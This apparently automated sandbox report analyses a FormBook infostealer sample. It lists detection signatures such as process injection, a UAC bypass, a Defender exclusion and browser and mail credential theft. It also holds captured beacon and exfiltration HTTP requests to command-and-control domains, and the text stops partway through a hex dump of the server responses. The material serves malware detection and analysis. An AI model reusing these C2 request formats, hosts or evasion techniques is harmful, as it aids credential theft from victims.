Windows Analysis Report
NdYuOgHbM9.exe

Overview

General Information

Sample name: NdYuOgHbM9.exe
renamed because original name is a hash value
Original sample name: 1bb742c209872385c5b456d066fccf141ab2405245953c135b36029a3dbd5bee.exe
Analysis ID: 1438237
MD5: 664eddacb00d2d58f85cdc2913a1680e
SHA1: 3dfce1917291ff78513dba84e8ac715700d814d7
SHA256: 1bb742c209872385c5b456d066fccf141ab2405245953c135b36029a3dbd5bee
Tags: exe
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected AntiVM3
Yara detected FormBook
Yara detected UAC Bypass using CMSTP
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Disables UAC (registry)
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: NdYuOgHbM9.exe ReversingLabs: Detection: 42%
Source: NdYuOgHbM9.exe Virustotal: Detection: 39% Perma Link
Yara detected FormBook
Source: Yara match File source: 5.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.4092649802.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.4091718758.0000000002A80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1847525772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.4092708936.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1847829194.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.4094582069.0000000005760000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1849163774.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4092694801.00000000027B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: NdYuOgHbM9.exe PID: 2060, type: MEMORYSTR
Source: NdYuOgHbM9.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mscorlib.pdbMZ source: WER943D.tmp.dmp.9.dr
Source: Binary string: Microsoft.VisualBasic.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: ngen.pdb source: sfc.exe, 0000000C.00000002.4093679938.000000000379C000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4091957268.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.000000000332C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2130456184.000000001A6AC000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: System.pdb` source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Windows.Forms.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: wntdll.pdbUGP source: ngen.exe, 00000005.00000002.1848086680.0000000005700000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 0000000C.00000002.4092885357.0000000003170000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1849713302.0000000002FC0000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1847772604.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000002.4092885357.000000000330E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: System.Drawing.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: wntdll.pdb source: ngen.exe, ngen.exe, 00000005.00000002.1848086680.0000000005700000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, sfc.exe, 0000000C.00000002.4092885357.0000000003170000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1849713302.0000000002FC0000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1847772604.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000002.4092885357.000000000330E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: sfc.pdbGCTL source: ngen.exe, 00000005.00000002.1847926282.00000000052A7000.00000004.00000020.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 0000000B.00000002.4092313230.0000000000D0E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdbRSDS7^3l source: WER943D.tmp.dmp.9.dr
Source: Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Drawing.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: Microsoft.VisualBasic.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Core.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Windows.Forms.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: mscorlib.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Windows.Forms.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 0000000B.00000002.4092220680.0000000000B1E000.00000002.00000001.01000000.00000007.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000000.1911809244.0000000000B1E000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: System.Drawing.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: mscorlib.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Core.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: sfc.pdb source: ngen.exe, 00000005.00000002.1847926282.00000000052A7000.00000004.00000020.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 0000000B.00000002.4092313230.0000000000D0E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9B800 FindFirstFileW,FindNextFileW,FindClose, 12_2_02A9B800
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\sfc.exe Code function: 4x nop then xor eax, eax 12_2_02A89310
Source: C:\Windows\SysWOW64\sfc.exe Code function: 4x nop then pop edi 12_2_02A8DAC6

Networking
barindex
Performs DNS queries to domains with low reputation
Source: DNS query: www.selectif.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 62.149.128.40 62.149.128.40
Source: Joe Sandbox View IP Address: 62.149.128.40 62.149.128.40
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=qj5NyNfN5WRMG7LniAROgWXsn6IsT6LjPGDeNkCQJp+HAmWfWpmvawkojhaRs1ogLHUlWi64I+vgy847wrcuJ4qAlI0oKyKfHw/MBjiNhxVy0+aqylgl+KA=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.fivetownsjcc.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=o0dJzo0+KyysCnVnWeLPfMg3QtOn0MLLvJyzkFXrx5kDb0wpr6IDXytzlnmsuKpUsYAyYVSTQNkMYoOoJGqE4svaZh/Kq8S3fINkBD+7AXaHwSZaIMNjuTk=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.auetravel.kzAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=kM+nKItVIOm9nxv083MKEZreo78kZmjvmDxFimKXw4NllaUxz2FZA/AxFfoR4c/c0+8T1IsyqFRuVBpkxsrpf3yFfXK/MNDg35iPLFQJ6s8K1nL5VHh3xe8=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.rltattoo.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=h80XCq9V6N6s/txg4v4Fr8zmHDyj0DPil4lDzKoi2YAFaI23LxlO/y0x83EXcngteSl0Ff377sWS2kC2x8x2lEbqmRL/y9GY06LsNZ5NdSPXBqH5i7fNvls=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.wp-bits.onlineAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=Yv1LGRM7Mjb9pBh1S0mxpOIYfAZ4/RDtaTGh+vP2adeGTIEJhl6Vpo3SkSZ8CVSt6h4P+QwQoy6FjmlMXS0oXaAW/UguTEMtgRYeILR3LZnXobcueVuNljQ=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.luckydomainz.shopAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=ex7yQ3cnGheAaOrzEPkQGznKrbGAUhLo9VsCiDPBWJ5DUtj6oFWZ51Qu3bZCInwfBew3O0jwDr4r/fHP0DTqez+F51VR4AlcQUWQ9cVyxEHzKlzGRO1dndY=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.selectif.xyzAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=ahy6va04TVDXAoc0SI77WnjdL1KdrpLWXquRcgE4oyJhjsOsnbVcxGfgc5U1b6nV6qG/kRi3KVZWLm+W9jeCK1XNsz8i7l9KE7k2fsNVpgLsbvF63CsRx24=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.yekobie.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=G9rRy2qYQIDZeyI4LJY6JNX1SXnAoDrMeesi9cL1NNtjWs0X9VQENpz2e8f5yOztQaquY8UP2JEf8lkZo3Uj0uY+2wpGE8iKQtZfEVhbpqTk/gf9HUsxLCg=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.getgoodscrub.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=1Nt7DtzRhGe3jz/JXOJL2dnBH6uFnvwsc8PmoPLhBuJURU+BFCU8Z1cZNkrKfh5y7OIVqmEx6Y55MHCBN9ekEPrBm2pelHdYOjg1gnpKSYR8wHJ7U/KLji4=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.xn--yzyp76d.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=HNLEVoSmZQxFSmctMpTTd4dyTFjeIBcvYbInUpVYO5VLbn2V1MEgIHD38EU48JsuuCIVw/TFvn9kkkg/Sq9Xy2f3I5Wlm16rLCQIpVyEpLVAPUkeiuBH2KE=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.btpbox.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=2Ekfj6jdIBk36xhcbV2ym43lHRKg6LV7IJvggRD/yKlDT5fLDaqmfwfg0kC4k4WA5tpgDGvB1m7jQvkf/ooPPLzV8n4D4xVHdcGXqhGJgd2fmMm1GJzEmqU=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.glissy.caAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=jVsDngfN17jo53xCVVHLBYy1RtgDvNhrjbHy79NIDh3y3n8I8UoARbyDj0OI5nlukHb+wqYtKmURqZRRAHON04+Cmz5V6OWL/4It3e8ivry7nxqUmvN5lOs=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.insertcoen.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic HTTP traffic detected: GET /wu8v/?MdtlcTm=aNuP63JR+qvwCLW62wwN2gNqXDVrMTryMQjODMfsZKfQm/+YFqgnBKvcT5agT2uiD/O4mE7g0mgXxPpAo7asqKVpcckEa+9XwCnOtQUj6EFGuNumSA/i+x0=&_X=ClAdyH4P7rA8z HTTP/1.1Host: www.387mfyr.sbsAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Source: global traffic DNS traffic detected: DNS query: www.fivetownsjcc.com
Source: global traffic DNS traffic detected: DNS query: www.auetravel.kz
Source: global traffic DNS traffic detected: DNS query: www.rltattoo.com
Source: global traffic DNS traffic detected: DNS query: www.wp-bits.online
Source: global traffic DNS traffic detected: DNS query: www.luckydomainz.shop
Source: global traffic DNS traffic detected: DNS query: www.selectif.xyz
Source: global traffic DNS traffic detected: DNS query: www.yekobie.com
Source: global traffic DNS traffic detected: DNS query: www.getgoodscrub.com
Source: global traffic DNS traffic detected: DNS query: www.xn--yzyp76d.com
Source: global traffic DNS traffic detected: DNS query: www.btpbox.com
Source: global traffic DNS traffic detected: DNS query: www.glissy.ca
Source: global traffic DNS traffic detected: DNS query: www.insertcoen.com
Source: global traffic DNS traffic detected: DNS query: www.lebonergy.com
Source: global traffic DNS traffic detected: DNS query: www.387mfyr.sbs
Source: global traffic DNS traffic detected: DNS query: www.lm2ue.us
Source: unknown HTTP traffic detected: POST /wu8v/ HTTP/1.1Host: www.auetravel.kzAccept: */*Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.auetravel.kzCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 204Connection: closeReferer: http://www.auetravel.kz/wu8v/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)Data Raw: 4d 64 74 6c 63 54 6d 3d 6c 32 31 70 77 5a 38 38 47 44 33 75 49 31 5a 51 63 71 50 4d 49 4a 6c 72 65 34 57 76 75 75 33 71 6b 4c 33 76 75 33 33 2f 2b 61 56 41 43 42 38 52 71 37 5a 6b 42 56 74 4d 31 46 48 57 75 2b 74 52 76 36 30 66 46 47 79 6b 64 6f 4e 78 52 4f 47 69 41 6d 69 51 2b 35 58 68 4d 69 37 37 73 34 71 64 66 72 74 4a 48 69 6d 72 42 46 57 4d 77 41 38 35 50 4d 56 35 76 7a 6d 4a 32 57 79 36 6d 69 73 42 73 67 6e 63 34 75 4e 6a 30 79 41 42 6e 54 45 37 6f 6c 76 70 73 36 6b 61 4d 2b 39 37 73 47 79 74 79 49 34 6a 52 4e 51 39 79 77 2f 72 4a 4c 51 70 70 2f 73 54 4a 41 56 51 30 2f 56 37 70 56 6c 38 71 41 3d 3d Data Ascii: MdtlcTm=l21pwZ88GD3uI1ZQcqPMIJlre4Wvuu3qkL3vu33/+aVACB8Rq7ZkBVtM1FHWu+tRv60fFGykdoNxROGiAmiQ+5XhMi77s4qdfrtJHimrBFWMwA85PMV5vzmJ2Wy6misBsgnc4uNj0yABnTE7olvps6kaM+97sGytyI4jRNQ9yw/rJLQpp/sTJAVQ0/V7pVl8qA==
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 May 2024 12:05:23 GMTServer: ApacheX-SERVER: 3908Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 75 38 76 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wu8v/ was not found on this server.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:05:56 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:06:00 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 